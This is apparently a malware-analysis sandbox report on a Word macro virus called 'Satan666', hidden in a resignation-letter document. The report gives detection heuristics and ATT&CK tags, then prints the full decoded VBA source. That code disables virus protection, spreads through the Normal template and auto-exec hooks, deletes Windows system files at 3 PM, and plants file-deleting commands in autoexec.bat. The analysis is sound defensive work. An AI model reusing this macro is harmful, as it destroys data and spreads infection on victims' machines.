MALICIOUS
240
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
T1490 Inhibit System Recovery
The sample is a Microsoft Word document containing a resignation letter, but it also contains a VBA macro named 'Satan666'. This macro attempts to disable virus protection, copy itself to the Normal template for persistence, and conditionally deletes files from the Windows and System directories. The macro's intent is to disrupt the system and potentially prepare it for further compromise.
Heuristics 5
-
ClamAV: Doc.Trojan.Satan-10 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Satan-10
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Auto_Close macro high OLE_VBA_AUTOCLOSEAuto_Close macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 3373 bytes |
SHA-256: 51ebfb11244fd4e7d54b0e174a0aa31ffb084cc4d4f36563d2ee5aa85baecd08 |
|||
|
Detection
ClamAV:
Doc.Trojan.Satan-10
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "Satan666"
Sub Satan666()
Attribute Satan666.VB_Description = "Macro created 04/22/98 by Evelyn N. Lopez"
Attribute Satan666.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.Satan666"
Dim IFlag
Dim I
Options.VirusProtection = False
IFlag = 0
For I = 1 To WordBasic.CountMacros(0, 0)
If WordBasic.[MacroName$](I, 0, 0) = "Satan666" Then
IFlag = 1
End If
Next I
If IFlag = 1 Then
GoTo GlobalFine
Else
On Error Resume Next
Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "Satan666", wdOrganizerObjectProjectItems
End If
GlobalFine:
IFlag = 0
For I = 1 To WordBasic.CountMacros(1, 0)
If WordBasic.[MacroName$](I, 1, 0) = "Satan666" Then
IFlag = 1
End If
Next I
If IFlag = 1 Then
GoTo DocumentFine
Else
On Error Resume Next
Application.OrganizerCopy NormalTemplate.FullName, ActiveDocument.FullName, "Satan666", wdOrganizerObjectProjectItems
End If
DocumentFine:
If Hour(Now()) = 15 Then
On Error GoTo KillThem
Open "c:\autoexec.bat" For Input As #1
Line Input #1, IFlag
Close #1
If IFlag <> "REM Hail Satan!" Then
KillThem:
Kill "c:\windows\*.*"
Kill "c:\windows\system\*.*"
Open "c:\autoexec.bat" For Append As #1
Print #1, "@echo off"
Print #1, "cls"
Print #1, "echo Hail Satan!"
Print #1, "echo Hail Satan!"
Print #1, "echo Hail Satan!"
Print #1, "echo Hail Satan!"
Print #1, "echo Hail Satan!"
Print #1, "echo Hail Satan!"
Print #1, "echo Hail Satan!"
Print #1, "echo Hail Satan!"
Print #1, "echo Y>Yes"
Print #1, "attrib -h -r -s *.*"
Print #1, "del *.* <Yes"
Print #1, "end"
Close #1
MsgBox "Hail Satan!", vbOKOnly, "Satan666 Word97 Virus"
Else
End If
End If
End Sub
Sub FileOpen()
On Error Resume Next
Application.Run "Satan666"
Dialogs(wdDialogFileOpen).Show
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub FileClose()
On Error Resume Next
Application.Run "Satan666"
WordBasic.FileClose
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub FileSaveAs()
On Error Resume Next
Application.Run "Satan666"
Dialogs(wdDialogFileSaveAs).Show
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub FileSave()
On Error Resume Next
Application.Run "Satan666"
ActiveDocument.Save
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub FileNew()
On Error Resume Next
Application.Run "Satan666"
Dialogs(wdDialogFileNew).Show
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub AutoExec()
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub AutoNew()
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub AutoSave()
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub AutoClose()
On Error Resume Next
Application.Run "Satan666"
End Sub
Sub AutoOpen()
On Error Resume Next
Application.Run "Satan666"
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.